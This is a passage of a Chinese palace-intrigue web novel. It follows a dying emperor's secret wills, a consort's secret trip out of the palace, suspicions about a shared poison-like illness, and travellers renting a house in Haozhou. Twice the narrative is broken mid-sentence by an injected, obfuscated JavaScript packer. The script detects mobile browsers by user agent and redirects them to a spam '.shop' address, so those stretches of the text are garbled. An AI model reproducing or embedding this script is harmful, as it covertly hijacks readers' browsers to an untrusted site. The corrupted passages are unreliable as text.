牧怀兴突然全身发冷,他命身旁的小内侍再往火炉添把柴,把火烧旺些。 “福乐宫附近除了苍平宫就没有别的宫殿了,正好贤妃一直在病中甚少出门,眼线安排在福乐宫外盯着他们母子也不会引人注目,更不会引起他们母子的怀疑。钟谋,我身体越来越差,我得确保他们两个真的无事不会祸乱大邺后宫前朝。” 钟内侍恭敬上前为牧怀兴倒了杯热汤,低声道:“您放心,您的遗诏老奴都好好藏着呢。倘若楚王殿下不幸遭遇不测,您还有小皇孙呢。” 牧怀兴欣慰地点点头,笑道:“老五昨日来说甘玉帛有喜了,盛安最近不安稳,我怕出意外特意叫他瞒着。皇家,总得多留条血脉才稳妥。算算日子,这个孩子恐怕是要与霓儿同月生辰了。玉帛腹中的孩子身上流的是甘家和牧家的血,屹儿和谨饰都更像我一点,不知道玉帛的孩子会不会像霓儿。” “咳咳咳,咳咳咳。” 牧怀兴想到开心处忍不住又咳了起来,“孩子像锦儿也好,就是不知道我这身体还能不能亲眼看见这孩子出世了。若我能等到那日,孩子一出生,我就封他……” 牧怀兴说到这又想起了什么,“钟谋我要再拟一份遗诏,等玉帛的孩子生下来朕就封他为勤王。谨饰资质平平,日后恐难堪大任。若屹儿发生意外无法继位,那就立玉帛的孩子为太子。我亏欠扶锦和峥儿太多,唯一能做的就是保这孩子一生无忧。” 钟内侍哽咽着应道:“陛下您放心,老奴这就帮您拟旨。” 牧怀兴写着圣旨,咳声一直不断。钟内侍一边研磨,一边劝道:“陛下您可得按时喝药,不能再耍小性子了。万一太子妃生的是皇女,不知得多像两位皇后娘娘。等她长大了,能同靖晏侯练甘家锏和定远侯学肖家戟,诗书文墨再经您指点。等您忙完朝政,她还能同您切磋先皇后的棋谱,与皇后娘娘一同舞剑,那日子,想想就开心。” 钟内侍的话哄得牧怀兴乐不可支,他这一生就只有两个女儿都无辜早夭。年过花甲后,若是有个皇孙能这样陪着他,真乃一大幸事啊。 想到这,牧怀兴全身都没那么冷了。他喝下热汤,写完遗诏盖上玉玺嘱咐钟谋藏好,做完这些他又拿起桌上的奏疏埋入政务中。 清扫梨棠苑的宫人比往日多了一辈,梨树上挂着大大小小的果子,有些被折去枝条树长势不好,结的果子也不如旁树多。 听着宫人们议论这些可怜的梨树,牧彰施路过时立马垂头掩盖住了脸上心虚的表情。 肃石看着这些树反而若有所思,“殿下,这些不是……” 牧彰施啧了一声,肃石又识趣的闭上了嘴。 秋千上,姚昭桦如往常一样坐在那发呆。 牧彰施出现时,姚昭桦看着眼前人甚是奇怪。这是,要来和她算账。 姚昭桦起身行礼,“齐王殿下。” 听着她生疏的语气,仿佛他们二人从没见过一般。牧彰施对自己巴巴赶来告诉她消息的行为暗自好笑,“贤妃真是好雅兴,有空就会来梨棠苑啊。本王还真没想到你会直接拆穿我,还以为贤妃娘娘会几日前那般骗我摘梨枝呢。” 牧彰施言语间都在提那夜的事,姚昭桦正在想有关自家妹妹的事,可没功夫陪他闲聊。 姚昭桦捂着心口假模假样哎哟了两声,便推托说身体不适要告辞回苍平宫。 肃石见贤妃娘娘根本不给自家主子面子,躲在牧彰施身后偷笑。 牧彰施见她要走也不打趣了,赶忙喊住她道:“你走了可别后悔,我可有你妹妹的消息。” “什么!你知道映梧她怎么样了?她好不好?现在到哪了?有没有好好吃饭?有没有生病?”姚昭桦脚步一顿,回过身急切的问道。 牧彰施看姚昭桦听见妹妹的消息,是人也不走了心口也不疼了,只一个劲问妹妹好不好。要不是这还有许多人看着,恐怕她就要上来抓着他逼问了。 看她急不可耐的样子,牧彰施也不忍心卖关子了。他面色凝重道:“你妹妹今日遇到山匪了,但她身边有人护着她应该没什么危险。” “应该?”姚昭桦一下子抓到了牧彰施语气中的不确定,“应该就是可能也会有危险了?” 牧彰施见姚昭桦眼圈唰的一下子红了,眼泪挂在眼眶摇摇欲坠。 他叹口气,他现在有点后悔早告诉她了。他就应该自己去看她妹妹到底有没有事,然后确切的告诉她,她妹妹的情况。 牧彰施安抚道:“我只是不确定才这样说,肃石看见她身边那人功夫很好,能护住她的。” 说完,牧彰施扭头给了肃石递了个眼色。 肃石接收到眼色,道:“啊,那个…那人功夫很好,娘娘放心即可。我当时看着十几个山匪围着他们,那人把他们打的那叫一个落花流水……” “十几人!”姚昭桦眼眶中的眼泪终于坠下,砸在了地下啪嗒一声。 姚昭桦咬紧牙,擦去脸上的眼泪抬头轻声问牧彰施道:“我要出宫,你能帮我吗。” 牧彰施自然没法拒绝她,好在这离福乐宫近,姚昭桦到那换了身牧彰施之前的男装,让身边的柳笛穿上她的衣服回苍平宫,自己则假冒肃石坐上马车跟着牧彰施出宫了。 可怜的真肃石就瑟瑟发抖的躲在福乐宫偏殿,等着他家殿下办完事再来接他回齐王府。 秋意浓,西风叶落,雁南飞。 破庙外,几人将东西草草收好装上马车。马车上的遮光锦换成了麻布帘,乌木的马车瞬间变得没那么醒目。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17400819|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牧泓屿赶马车,高琢赶着牛车,一切安排好后,几人准备出发。 肖遥和姚映梧正欲上马车时,从远处而来疾驰的马蹄声令两人人动作一滞。肖遥将姚映梧推进马车,自己则拿起了青龙戟。经过刺杀一事她也被搞得神经紧绷,一点声音都能让她十分戒备。 一出皇城,牧彰施就带着姚昭桦一路疾驰。狂奔好几个时辰,姚昭桦终于见到了自己的妹妹。 姚昭桦出声呼喊,“阿缘!阿缘!” 牧彰施眉头拧紧,十分奇怪,他没想到自己居然这么快就追上他们了。这座破庙离早上肃石说得地方很近,一整天他们居然一点没动。 听见长姐的声音,姚映梧不可置信的从马车里探出脑袋。 远处疾驰的马车上,长姐冲着姚映梧不停地挥手。姚映梧眼前一亮,真的是长姐。 牧彰施远远的将马车停在路边深草从中,他压低头上的帷帽,生怕被眼前几人认出来。尤其是牧泓屿和肖遥。 姚昭桦深知他们的关系不能暴露,自己飞快下了马车朝姚映梧的方向跑去。 看着姚映梧与长姐相拥的场景,几人都识趣的进了破庙给两人时间好好说说体己话。牧泓屿进去时,回身看了两人一眼,还被肖遥飞速拽了进去。 姚昭桦捧着姚映梧的脸看了又看,突然注意到她的手上包着一圈渗着血的细布,格外刺眼。 姚昭桦心疼的问道:“怎么伤的?” 姚映梧含着笑摇头,“不要紧的长姐,一点皮肉伤。再说了,出门在外,哪能没有意外啊。” 姚昭桦深知姚映梧说得对,只能心疼的把她紧紧抱进怀里安慰。 姚映梧依偎在长姐的怀里,心里是说不上来的轻松。 “长姐你怎么来了。” 姚昭桦压低声音在姚映梧耳边道:“长姐这次来一是担心你,二是有话要跟你说。” 能让长姐冒险离宫说得话肯定很重要,姚映梧抬起头道:“什么事啊长姐。“ “陛下病了,很严重。他开始怕冷,十月,太清宫就早早烧起了炭盆。陛下没日没夜的咳个不停,太医都说是咳疾,喝了药却不见好。只能靠高统领每日带一次药进来,陛下吃完就不咳了,身体也好起来不怕冷了。” 姚昭桦再得知陛下的病后也百般疑惑,陛下怎么会和妹妹得一样的病。她留了个心眼,买通一个宫人注意着太清宫。那宫人发现每次陛下服完药,药盒莫内侍都不假人手,自己偷偷烧掉。 她起了疑心,在莫内侍准备烧盒子时让青萝借着拿花种去找了莫内侍,青萝嗅觉灵敏,一下子闻到那盒子上有淡淡的血腥气。 姚昭桦得知后登时起疑,好巧不巧,妹妹现在服用的药她闻过,也有很淡的血腥味儿。 这下,妹妹的病也成了她心头的谜团。可陛下不是被下了乌寒毒才引发旧疾病重吗,妹妹自幼得病怎么会和陛下的病情一样。 长姐每说一句,姚映梧面色逐渐难看起来,陛下的病,居然和她一模一样。而且她也是吃什么药都不见好,只有吃了姜燃姑娘做的药才不咳了。 姚映梧心头的怀疑一下子都串连了起来,先是窦花娘服毒自尽后异常冰凉的体温她却感受不到。再是陛下重病后变得和她一样怕冷,除了特定的药,旁得药一点都不管用。 陛下是因为下毒病重,可她呢。 她生下来就病重,难道也是被下毒吗。 61. 归山小路 火红的太阳把天边染成绚烂的橘黄色,朵朵火烧云坠在山间随风飘荡。 长姐的身影慢慢变成了远处的一个小圆点,带着姚映梧的牵念回了四四方方的皇宫。 迎着落日,姚昭桦又要回到那个华丽的苍平宫。 他们走得路是一条废弃的山路,离皇宫近而且路面平稳,能让马车顺当的跑过。 一路上荒无人烟,姚昭桦就没进马车内,顺势坐到了牧彰施身边,望着宫中难得的景色。 姚昭桦望着远山,随口问道:“这条出城的小路你是怎么知道的?” 山上狂吹的山风将姚昭桦身上的兰花香吹到了牧彰施身边,他架着马在心里暗暗记下,原来她喜欢兰花。 “这条路是前晋时修建的,我母亲做兰诏王储时曾被灵帝带到这打猎过。” 牧彰施突然住了嘴,又道:“灵帝喜欢走这条路入深山猎场打猎,所以不许任何人走这条路,违令者诛九族。后来灵帝带着亲近的阉竖杀了不少野兽,野兽渐渐没了踪迹。灵帝围猎被扫了兴致,就下令关了通天门和围猎场。我想着通天门关了多年出城比较隐蔽,而且这路离宫外近,又没什么野兽,咱们就算追不上他们,晚上我们在山里过夜也安全。” 姚昭桦哦了一声,没再开口说话,只一路看着风景。 两人一阵无言。 牧彰施忍不住侧目看她,搜肠刮肚想了句话问道:“我看你时常去梨棠苑坐着发呆,身上的香囊却是兰花的,怎么你不喜欢梨花更喜欢兰花?” 姚昭桦望着腰间的香囊,香囊的穗子她已经换了不知多少个了,可香囊她一直保护的很好,连布料都没怎么褪色。 “兰花是我娘亲最喜欢的花,这是她在世时绣给我的。她之前给我做的,都被我不爱惜的弄坏了,我问她再要一个新的,她凶巴巴的说只给我绣最后一个,再弄坏了,以后她就只给腹中的宝宝做,不给我做了。” 姚昭桦摸着香囊上的兰花道:“她怀我妹妹的时候身体一直不舒服,可她还是忍着不适连夜给我做了一个新的,让我隔日能带着有熟悉味道的香囊待在学堂,不至于太想她。后来妹妹难产,她身体更不好了,她都没来得及做给映梧…这是她在世时,做的最后一个香囊了。” 说完,姚昭桦将头撇向一边。 牧彰施暗恼自己怎么随口问了些不该问的,明明是想跟她多说几句话的,怎么还让她不开心了。 牧彰施无措的安慰道:“你娘亲的墓在盛安城哪?我带你去看看她。” 此话一出,姚昭桦直接将头埋进双膝里,眼泪忍不住的直在眼眶打转她不想被人看见。 “我母族被贬滕州,祖父祖母早亡,是娘亲带大了舅舅。娘亲离世后,舅舅悲痛欲绝,所以上奏章恳请圣恩,将娘亲带回滕州与祖父母安葬在一起了。” 驾! 这记马鞭牧彰施感觉好像抽到了自己身上,明明是想想安慰她来着…… 马车上气氛凝重,牧彰施绞尽脑汁想再说些什么。他脑中灵光一闪,说他弟弟总没错了吧。 他道:“姚明桉小小年纪就能做谨饰的伴读,将来一定得皇兄重用。你最近可有见他?” 姚昭桦声音沉闷道:“那日重九宫宴是他的生辰,父亲没受宴请我又已经入宫,自是没能见上他。当晚,映梧出了那件事后,明桉也入宫了。可我们姚家深涉其中,为了避嫌,更防止我们姚家人会彼此袒护,三一姑姑说不许姚家人到苍平宫来。” 啪——! 这一鞭子牧彰施发誓他是真想抽自己了,怎么什么难听就说什么,还净往她的伤口上撒盐。 还有三一姑姑,不让她见家人的合着是他母后的人。避嫌这话虽说没错,可姚家明眼人一看就是冤枉的嘛。 “我不是那个意思,我……” “今日多谢齐王殿下带我出宫,日后我姚昭桦定会报答殿下的。” 姚昭桦打断了牧彰施的话,他说的话没一句她爱听的。 牧彰施悻悻闭上嘴。姚昭桦怕他再问,推脱外面风大,转身进了马车内。 看着姚昭桦的动作,牧彰施连留住她的话都不知该怎么说,生怕又惹她伤心。 他无力的冲姚昭桦僵硬一笑,认命的赶起马车来。 长姐不知走了多久了,姚映梧一直没缓过神来。她恨不得现在就知道真相,可她也明白,只要姜燃姑娘不说,她一辈子也不会知道。 她早该明白的,再好的药也不可能吃了就能立刻见效。而且这么神奇的药居然正好能治她的病,又正好被姜姑娘带在身上。 傍晚的秋风分外冷,以前她是绝对不敢吹的。可现在,她只想让自己吹吹秋风,冷静一下。 庙内,高琢一改往常,静静地坐在一旁一言不发。牧泓屿也兴致缺缺,沉默的盯着石碑。肖遥环顾着刚才还好好的的两人,不解他们怎么突然变得死气沉沉的。 知道了秘密的姚映梧站在门外调整好心情,才笑着推开庙门,道:“时候不早了,咱们走吧。” 肖遥最先出声答应,她左手提着装着分拆的青龙戟的布包,右手拿着双剑。她路过高琢时,高琢突然反应过来,好心伸手帮了一把,接过来肖遥左手的布包。 “唔。” 手上猛然一沉,这青龙戟居然这么沉。 高琢不禁感慨道:“肖遥,你们肖家人都是用这么重的戟吗?这可比一般的戟重多了。” 感受到屋内的几束目光带着好奇都落在了她身上,肖遥笑回道:“肖家只有我和我侄女侄子用的戟是四十斤重的,旁人的都没这么重。” 姚映梧好奇的上前试了试重量,连连感叹道:“皎皎,你力气也太大了。难怪被陛下称为当今第一将。” 当今第一将,这几个字还是扯的肖遥心中一沉,不知道如今战事怎么样了。她打定主意,等到了毫州安顿好就给兄长嫂嫂去信。 肖遥拿回布包道:“我哪比得上我的两个侄儿,他们二人是天生的神力。再过几年,我这大邺第一将的名号就得让给他们了。” 天生神力,高琢羡慕不已,对肖遥说道:“你们肖家可真是豪杰出少年啊!要是我们家也能出一个这样好的练武奇才就好了。诶,肖遥,等他们打完胜仗回了盛安城,你可得引荐我们认识一下,我可得见识见识两位天生神力的少年将军。” 肖遥笑道:“好,等他们回了盛安,我就介绍给你们认识。南雁和北休肯定也喜欢你呢。” “南雁,北休。”姚映梧念着这两个名字,“真是好名字,我记得老定远侯写过一句诗,‘鸿雁几度南飞过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410771|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,北战连年何日休。’怕不就是这个意思吧。” 肖遥没想到祖父随手写的诗还有人会记得,开心的应道:“对对,是出自这诗。” 想到能见识到赫赫有名的少年神将,一旁的高琢也心情大好,献殷勤地又接过来肖遥的布包和双剑,给她放到了马车上。又喜滋滋的拽着一直沉默的牧泓屿,叫着他两人一块儿搬行李去了。 姚映梧也不禁感叹:“可惜我们姚家没有个习武的,不然我也一并要送到你们肖家去学青龙戟呢。” 肖遥拍拍姚映梧的肩感叹息道:“我们肖家只有我五叔公因为身体不好做了文官,其他的都是武将。我还羡慕你呢,起码家人都在一处。我父亲和母亲是老来得女,一定要我和他们一块随军在蔺州。我兄长和嫂嫂带着两个侄儿远在庆州,他们小时候可爱得紧,可惜我没见上他们几面,一转眼的功夫他们就都长大了,还能上阵杀敌了。” 看着肖遥伤感的样子,姚映梧想着自己还算团圆的家叹气道:“这还真是家家都有难念的经。我还时常羡慕你可以去看边陲风光,我病重不能离家吹风,盛安的样子就是我记忆中的丞相府小院。” 肖遥扭头看姚映梧暗自神伤的模样道:“阿缘,你现在病好了呀。别说盛安了,整个大邺你哪都能去。到时候我和牧泓屿带你去蔺州,那的月亮又大又亮,我生的时候就是晚上,母亲透着窗子看见了像白玉盘的圆月,不用点蜡烛屋里都亮堂堂的。她说她多亏生我,她这才发现蔺州居然有这么好的月亮。她跟我父亲说,月亮真亮孩子的乳名就叫皎皎吧。” 姚映梧听着肖遥的话,一下子也笑了。 “长姐告诉我,我生的时候是徬晚,太阳落了一半,光就正正照在院中的梧桐树上。我生下来就没多少气了,哭声也弱,我娘亲带我看了多少大夫都不管用,所以叫我阿缘,希望我这辈子能遇上结缘的人,她能有办法治好我的病。” 肖遥眼神放光,“你是在傍晚的时候生的,我是深夜生的,咱们两个还是同一日生辰。而且,给你治病的还是我小一月的妹妹。阿缘,阿缘。看来这名字可真灵。” 姚映梧看着只剩她们两人,于是认真道:“皎皎,红豆说,她有办法拿到火莲花叫我们不用管了。” 肖遥没注意到姚映梧严肃的神情,自顾点点头,“没想到红豆连这种东西都有,那也好,省得我们费心劳神了。” “皎皎,红豆还说有事就让你飞鸽传书给她。” 肖遥骤然发觉姚映梧有些不对劲,她今日一直在叫红豆,没叫她姜燃姑娘。 “阿缘,你……” 姚映梧望着肖遥担忧的样子,缓缓道:“皎皎,我长姐告诉了我陛下的病症,我发现他的病症和我如出一辙。皎皎,那日城楼,红豆姑娘只是把了我的脉就知道该怎么治好我的病,我心中怀疑却也没多想。可如今陛下是因为中乌寒病重,那我呢?我的病是娘胎带来的,怎么会和陛下一样呢。” 短短几句话震得肖遥找不到头绪,她知此事绝对有不为人知的隐情。肖遥稳了稳心神道:“等我们到了毫州安顿下来,我就让红豆来找我。” 姚映梧后退一步,向肖遥行了个大礼,“皎皎我求你了,请你让姜燃姑娘告诉我真相吧。让我知道这折磨我十几年的病,到底是不是病。” 62. 战事平息 金灿灿的云彩变成了红彤彤的云团,给毫州城外的山谷都洒下了一层火红的辉光。 赶在落日前,几人才踏进了毫州城门。 几人分头行动,姚映梧和肖遥先找了个客栈歇脚,高琢和牧泓屿去毫州的觅宅铺去租宅子。 毫州城临近盛安,许多毫州人都陆陆续续搬去了盛安城居住,所以城内的许多宅子都空了出来,觅宅铺也多。 只是靠近盛安,租房子的价格比盛安也低不了多少。 高琢一进铺子,先筛了一遍价高和不能短租的房子,结果发现还有不少房子需要看。 觅宅铺的人一听说他们来租房,围着他们讲着自家的宅子风水和位置有多好。 牧泓屿被他们吵得头痛,眼睛瞥到角落处有一位身着水蓝色衣裙的妇人正望着他们这边。 牧泓屿微蹙眉,穿过吵嚷的人群来的这个妇人身边。 那妇人见牧泓屿走过来,笑道:“公子可是要租房?” 妇人的桌前放着房子的布局图,牧泓屿拿起地上看着问道:“你这房子能短租吗?” “可以的公子,您要租多久?” “短则几日,长则半年。” 妇人笑吟吟伸出手比了个五,“我这不长租,公子要是短租几日,我这儿租金最多要五百文。” 人堆里被迫被围着看房的高琢听到牧泓屿这边的动静,好不容易挣脱开纠缠的众人走过来。 他拦着牧泓屿,在他耳边惊道:“短租几日要五百文!你可别冲动啊!租这宅子,比住客栈还贵。” 高琢低语的一番话,那妇人也将其听进了耳中。 她得意地拿起牧泓屿手中宅子的布局图递给高琢,道“可不是我要的价高,公子你好好看看,我家这可是好宅子。要不是我要在盛安待一段日子不回来,这宅子空着不如短租出去赚钱,我肯定不舍得租出去给别人住。” 高琢拿过布局图,上面是三进三出的大宅子,还有一个休息的小花园,带着凉亭和一片水池,当真是不错的宅子。 高琢看完又股摸着跟其他几家一比,嗯,这妇人没夸大其词,短租五百文这宅子还真不贵。 高琢也拿不准到底住多久,他轻咳一声,“要是我们长租呢?” 那妇人笑答:“我此次入盛安是为替几家人大办宴席弹琴助兴,至多十几日就回来了。公子要是不短租,就还是去看看别人家的吧。” 牧泓屿疑惑道:“先不说如今陛下尚在病中,庆州前线更是连连起战事,什么事能让盛安几户人家大摆宴席庆祝。” 那女子见他们不知道,捂嘴惊讶道:“你们居然不知道,肖逾将军和宋今月将军带领铁甲覆面军大胜拓跋冽一场后,拓跋冽连夜退兵二十里,并挂上了免战牌。今日陛下得知此事后下旨,命立下战功的肖南雁和肖北休两位将军,与定远侯及镇国夫人回盛安受封。不用打仗了,商户们的赋税也不用多交了,这哪能不高兴啊。盛安城内,许多商户都请我去弹琴助兴呢。” “这么快,这才打了几天就不打了?”高琢拿着布局图口中喃喃道。 旁边另一位看宅子的人插嘴道:“还不是因为拓跋冽打不过我们吗。”这人说完,又扭头问高琢道:“这宅子你们租不租,要不租就把图给我看看,我还想租呢。” 说罢,他就从口袋里掏了银子出来,大有当场就想签租契的样子。 高琢听后一把将图护在怀中,“谁说我们不租的,我们现在就租。” 高琢说完赶紧示意牧泓屿拿钱给眼前的娘子,他们好白纸黑字签好租契,省得房子租给别人了。 见牧泓屿又在愣神,高琢用胳膊轻打了他一下道:“出什么神啊,快拿银子来,我身上的钱都给送干草的伙计了。” “哦。”牧泓屿掏出银子来,“娘子,钱给你。这宅子我们短租。” 旁边看上这处宅子的人悻悻收好手中的银子,转身去看别的宅子了。 签租契的时候,牧泓屿让高琢来签租契,他要好好看看宅子是什么样子。 高琢接过笔瘪瘪嘴,一张图有什么好看的,还不是想指使他来干活。他认命的签好名字,好奇地抬头问道:“娘子既然是乐姬,不知在盛安哪家乐馆弹琴?” 妇人对高琢说道:“我平日多在素琴坊弹琴,客人听琴音好,也喜欢去那买琴。公子日后若要买好琴,不妨也去那瞧瞧。” 高琢摆了摆手,“我连埙都吹不好,更别说买琴来弹了。只是我听娘子说许多人家都请你去弹,觉得娘子琴艺定然了得。我兄长就爱听古琴,他……” 一说起弹琴,高琢不自觉就想起兄长爱听古琴。 他叹了气,没说下去。 高琢写完,将租契给面前的妇人,妇人拿起笔在上面写下衣澜真。 写完她将两份租契留下一张,另一份递给高琢,“你们就唤我衣娘吧,租住的这几日宅子若有什么事,你们就到素琴坊找我就好。今日天色已晚,你们是现在就住进去还是……” 高琢抢着答道:“这么好的宅子当然今日就住,住宅子可比住客栈舒服多了。衣娘,我们等吃过饭就来这找你,你带我们去宅子。” 客栈是迎来送往的地方,闲暇时,大家讲得都是最近的新鲜事或是奇谈,铁甲覆面军大获全胜的消息姚映梧与肖遥自然也知道了。 与姚映梧的激动不同,肖遥反而一副愁眉不展的神情。 姚映梧给肖遥倒了一杯温热的茶水,“皎皎现在都打了胜仗了,你怎么还跟丢了魂一样。” 见肖遥看过来,姚映梧握住她的手,发现她的掌心中都是冷汗,“皎皎,你在担心什么?” 肖遥紧张道:“不知道为什么,我总感觉陛下这次病得很重。之前他重病,他也只是下圣旨召我母亲和父亲回盛安。从来没像今日一样下令宣告天下,他要召他们回来。我自幼与陛下相处,对他的性子也能摸到几分,他从来都是多思深疑的性格,武将离开驻地是大事,他不会如此光明正大宣告的。陛下大张旗鼓召父亲母亲进京其中定有内情,我怕陛下是自知时日无多,特意让父亲和母亲来威慑心怀有异之人,那他们在盛安岂不成了活靶子让人针对。” 听肖遥这样说,姚映梧也拿不准主意。她道:“要不我们现在就给姜燃姑娘传信吧,让她来这与我们碰面。顺便问问她盛安城怎么样了。” “好。” 两人说好后便写好客栈位置,去了后院马车上拿信鸽传信。 咕咕咕—— 天上突然传来一阵鸽子的叫声,两人抬头一看,便看见一只形似飞奴的信鸽从天上飞过,在客栈盘旋片刻后准备往东飞去。 肖遥着急地拿出陶埙吹响,唤已经飞走的飞奴回来。 飞奴听到埙声俯身折返飞回了 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“灼龙剑……” 肖遥喃喃念着几个字,脸色煞白。 “怎么了皎皎?这剑有问题吗?”姚映梧不了解这些兵家的事,不知道剑有什么来历。见皎皎脸色难看,心也揪成一团。 肖遥知此事不能声张,她也不确定到底是真是假。 肖遥左看右看确定四周无人,她凑到姚映梧耳边低声道:“阿缘我不瞒你,我幼时从祖父那听了一嘴,灼龙剑,是前晋平戈公主的贴身佩剑。前晋时铁甲覆面军的白泽面具额上都有火纹,那人,怕是前晋华氏皇裔。” 姚映梧急忙抑制住想高呼的欲望,当年前晋皇裔誓死不降,华氏一脉被诛九族,别说皇裔,华姓后人都没几个人了。 肖遥偷偷告诉姚映梧,“你没出过门,自然不知道许多坊间闲话,那里可传着很多隐秘的事。我查水兰阁奸细一事时就听说,当年平戈公主之所以战败和驸马燕行川弃城而逃,都是因为当时平戈公主刚生产完,无力作战。晋怀帝为了保住华氏一族最后的血脉,才在大观门吊死吸引攻城大军的注意,好让燕行川带着自己的皇妹和孩子出逃。” 肖遥算了算时间道:“这孩子要是真的还活着,算算年纪大抵也二十几岁了。不知道是男孩还是女孩。” 姚映梧当时虽然手痛,但也注意到黑衣人对姜燃姑娘的不同。结合他稍显低沉的声音,她猜测道:“如果传闻是真的,那当年的孩子应该是男孩。” “你们在说什么男孩?” “啊!” 突如其来的声音,吓得姚映梧和肖遥大叫一声。 高琢看着被吓到的两人,怀疑她们肯定背着他跟牧泓屿说了什么见不得人的话。 他和牧泓屿找不到两人,便来了后院马车这,大老远就见他们两人靠在一起嘀嘀咕咕的说小话。他原本打算吓唬一下两人,结果听见她们在说什么男孩,他忍不住问了出来。 牧泓屿也盯着两人问道:“什么男孩?” 姚映梧与肖遥当然知道前晋皇室的事不能对着当朝皇室说了,她们打着哈哈想搪塞过去,结果那两人还是穷追不舍的问。 姚映梧与肖遥对视一眼,齐声道:“我们在说明桉呢。”“我们在说北休呢。” 63. 遗诏 话一出口,姚映梧与肖遥皆是心虚的一愣。 两人对视一眼,默契的闭上嘴。反正说什么高琢都会信,牧泓屿……应该不关心这些吧。 这个答案高琢明显不信,可·他知道阿缘和肖遥是世家大族,有自己要操心的事。 于是他也没深问,只是撇撇嘴道:“是要紧事吗?不要紧的话,咱们吃过饭就带着东西去新宅子,我和牧泓屿租到宅子了。” 说着,高琢还举起租契晃了晃。 盛安的事,牧泓屿没什么兴趣知道。 他担心的念叨两人道:“你们两个一声不吭从客栈跑出来,也没给我们留个口信。我们到了客栈没看见你们,问过店家,他说你们急急忙忙跑到后院来了。我们还以为你们遇上什么急事了,吓了个半死。” 姚映梧看着肖遥找不出借口无措的样子心里也着急,她灵机一动,摊开手中的纸条,半真半假解释道:“皎皎看见空中的飞奴了,我们急着出来看宫中的消息,一时忘了留个口信。” “对对,我们没来的及。”找到一个好借口,肖遥迫不及待的顺着说道。 牧泓屿问道:“宫里怎么样了?父皇的病好些了吗?” 姚映梧叹口气,“皇后娘娘说陛下病重,问我们什么时候能带回火莲花呢。” “什么!陛下病重!我们走得时候他不还是好好的吗?他病成什么样子了,严不严重?他可千万不能有事啊!” 高琢的反应出乎意料的大,甚至比牧泓屿还激烈。 高琢奇怪的反应引来三人侧目,高琢尴尬地咳了一声,“啊,我就是问问。” 牧泓屿的上下打量了高琢一圈,他从来没见高琢这么着急过,而且着急的对象还是自己的父皇。他道:“你这么激动干什么?” 高琢干笑两声,试探着回道:“要是你父皇…我是说万一你父皇亡故了,后宫的妃嫔们怎么办?” “我父皇后宫的嫔妃?你操心这个干什么?” 牧泓屿调侃完高琢,突然意识到什么,他飞速瞄了眼姚映梧答道:“都住在后宫里啊,我皇祖父的嫔妃们不都住在那里吗?” 高琢又追问道:“那有没有你皇祖父在世时特别在意的嫔妃啊?他就是死也放心不下的那种,这种嫔妃该怎么办啊?” 牧泓屿嘴角一抽,“我皇祖父殡天的时候我还没出生呢,哪知道那么清楚。” 高琢意味深长的话,令姚映梧顿感不安,高琢为什么这么问。 牧泓屿看着已经明显黑下来的天色,道:“比起我皇祖父的嫔妃我更想知道药怎么样了?咱们什么时候可以回盛安?” 牧泓屿想回盛安的念头让肖遥微不可察地挑了下眉,“快了,只不过如今盛安已是一潭死水,我们一回去搅乱了这摊水,不知得招多少眼睛盯着。” 肖遥想着那刺客愤恨的神情,她不信拓跋冽会不死战而突然撤兵,这件事的背后定有隐情。 肖遥扭头对高琢严肃道:“我兄长虽还未给我回信,但有我做担保,你去铁甲覆面军的事已经是板上钉钉了。边关危急,我兄长和嫂嫂此次不回盛安,分守蔺州与庆州两地。过了庆州,就是闼鞑的城池,庆州险要多有战事,我兄长定会带兵驻扎此地,他治军一向严明,而且拓跋冽退兵之事恐怕有诈,他趁机反悔再次攻城也不是没可能。高琢,你要做好准备。” 肖遥想让高琢明白其中凶险,这是会送命的。 高琢反而淡淡一笑,道:“闼鞑人有多凶残我自小就见过了,我既有心杀敌立军功,必然不会临阵退缩。” 高琢看向姚映梧,她目光还如往常般温和,只是眼底擦不去的忧愁变成了担心。 他笑道:“信我,我会挣到军功换长姐回家的,但时候我们一家就能团聚了。我不会让兄长得逞的…这是我欠你和姚家的。” 姚映梧对哽咽着对高琢摇头,他兄长再怎么对不起她那也是高羡与她的事。她从来都没怪过他,他不欠她什么的。 战场凶险肖遥也不敢保证,她开导姚映梧道:“高琢不是还没走呢吗,咱们还能相处好一顿日子呢。” 牧泓屿也劝道:“虽然咱们沦落至此的确是因为高羡,可高琢既然想弥补些过错也无妨,起码让你舅舅和父亲知道他和他兄长不一样。” 姚映梧深知他们说的在理,之前父亲都不喜高家人,出了这件事,父亲与母亲肯定更看不惯他了。 肖遥惦记着药的事,着急的揽住姚映梧回客栈,她催道:“走吧,咱们赶紧去吃点东西,不然一会儿回新宅子休息就晚了。” 牧泓屿正要跟着她们回客栈,却被高琢一把拉住。 高琢鬼鬼祟祟看了眼姚映梧和肖遥远去的背影,拽着他走到隐蔽处刻意压低声音问道:“要是你父皇在世,那遗诏是不是就不起什么作用了。” 高琢这话让牧泓屿顿时好奇起来,他颇有深意的笑道:“遗诏遗诏,自然是等死了才算。不过…你怎么会知道这东西。你,该不会有这东西吧?” “没有没有,我怎么会有这东西。” 高琢不自然的接连否认到,他不自然的笑笑,“哎呀,她们都走了老远了,咱们也快回客栈吃东西吧,不然得叫她们等着了。” 牧泓屿没吭声,双手抱臂玩味盯着高琢,看着他脸上越来越心虚的样子,垂头低笑一声,“走吧。” “唉……那个……” 